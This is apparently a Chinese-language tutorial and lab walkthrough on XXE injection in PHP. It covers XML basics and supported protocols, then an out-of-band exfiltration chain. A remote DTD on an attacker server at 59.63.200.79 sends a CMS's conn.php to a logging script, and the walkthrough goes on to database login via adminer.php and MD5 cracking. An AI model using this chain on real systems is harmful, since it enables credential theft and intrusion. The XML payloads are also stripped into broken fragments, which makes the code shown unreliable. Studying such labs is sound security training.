XXE = XML External Entity 即外部实体,从安全角度理解成XML External Entity attack XML外部实体注入攻击
典型的攻击如下:
定义实体必须写在DTD部分
拆分开来简单点来说就是:
XML:
官方介绍:
XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 的设计宗旨是传输数据,而非显示数据
XML 标签没有被预定义。您需要自行定义标签。
XML 被设计为具有自我描述性。
XML 是 W3C 的推荐标准
特点:
XML仅仅是纯文本,他不会做任何事情。
XML可以自己发明标签(允许定义自己的标签和文档结构)
XML 无所不在。XML 是各种应用程序之间进行数据传输的最常用的工具,并且在信息存储和描述领域变得越来越流行。
PS:这玩意就是个储存数据的
外部实体:XML
中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM
和PUBLIC
两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以利用
注入:用户的输入被当做代码执行
XML的原理
有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件
]>
php中存在一个叫做simplexml_load_string的函数
这个函数是将XML转化为对象
实例:
]>&test; '; $obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT);
print_r($obj);
?>
// xml声明部分
]> //DTD 部分 DTD相当于一个变量,可以远程调用 引用外部的东西
&file; //xml正文部分
变量test里面是XML
然后试用simplexml_load_string将其转化为对象,第一个参数是xml语句,SimpleXMLElement是调用了SimpleXMLElement这个类,然后LIBXML_NOENT是替代实体,然后他去执行了file协议去读取我的文件
XXE 支持的协议
PHP: PHP伪协议 FTP FILE http
Java : jar http https file ftp
.net : file http https ftp
常用的几个协议:
file:可用 file://文件地址,来读取文件
http:可以访问 HTTP(S) 网址
FTP:访问 FTP
PHP:访问各个 输入/输出 流
zlib:压缩流
data:数据
glob:查找匹配的文件格式路径
expect:处理交互式的流,可用来执行命令,但需要先安装相应插件
xxe=>搭建一个公网的ip站点=>SYSTEM 函数定义的DTD去访问目标站点数据=>XXE带着已经访问到的数据去访问我们搭建的公网ip=>公网ip会记录下来XXE发送过来的数据=>我们可以到去公网ip去查看
整套操作相当于架炮台只要有公网IP就可以自建了(自建三个文件1.xml,2.php,3.txt)
1.xml
"xxe/2.php?id=%file;'>"
>%all;
这里的工作法方式就是把获取到的%file 传参给2.php
2.php
在2.php里面把通过GET获取到的id传参 就是1.xml里面id=%file 写入到3.txt里
再去读取3.txt 就可以读取到XXE 读取到,并且带出来的数据了
% remote SYSTEM “炮台的1.xml地址">
%remote;
%send;
]>
下载cms源码打开找到微信曾经爆出xxe漏洞的目录下
找到有关于xxe漏洞simplexml_load_string函数说明其存在漏洞:
看到了$signature是接收传参的查一下:
PHP里的$_REQUEST都很熟悉了,可以接收post和get传参,因为变量的获取方式都是传参,没有过滤用户输入,所以用户可以控制输入
抓个包,构造一下,现在已经知道了wixin/里的$signature是接收用户传入的直接用它来传参
然后我们改GET为POST => 随便输点东西让他传进去=>爆出cms路径(这一步为了验证是否用户输入被当做代码执行)
然后我们尝试在源码里找到conn
为啥要找conn呢?(因为要连接数据库啊!)
现在知道了绝对路径是:C:/phpStudy/scms/conn/conn.php
然后靶场炮台是:http://59.63.200.79:8017/1.xml
然后我们就按照之前的填入即可
% remote SYSTEM “炮台的1.xml地址">
%remote;
%send;
]>
构建完成:
% remote SYSTEM “http://59.63.200.79:8017/1.xml">
%remote;
%send;
]>
然后我们把刚刚的包先加上构建好的poc传进去(在这之前需要清空一下3.TXT里的内容,给2.php传个参)
去查看一下3.TXT有没有传入数据
复制解码base64编码
拿到了账号密码数据库名,然后我们知道PHP都是有在线的数据库管理文件 adminer.php 的
我们尝试输入地址看看
输入刚刚解密的账号密码库名登陆:
得到了MD5我们去解密一下: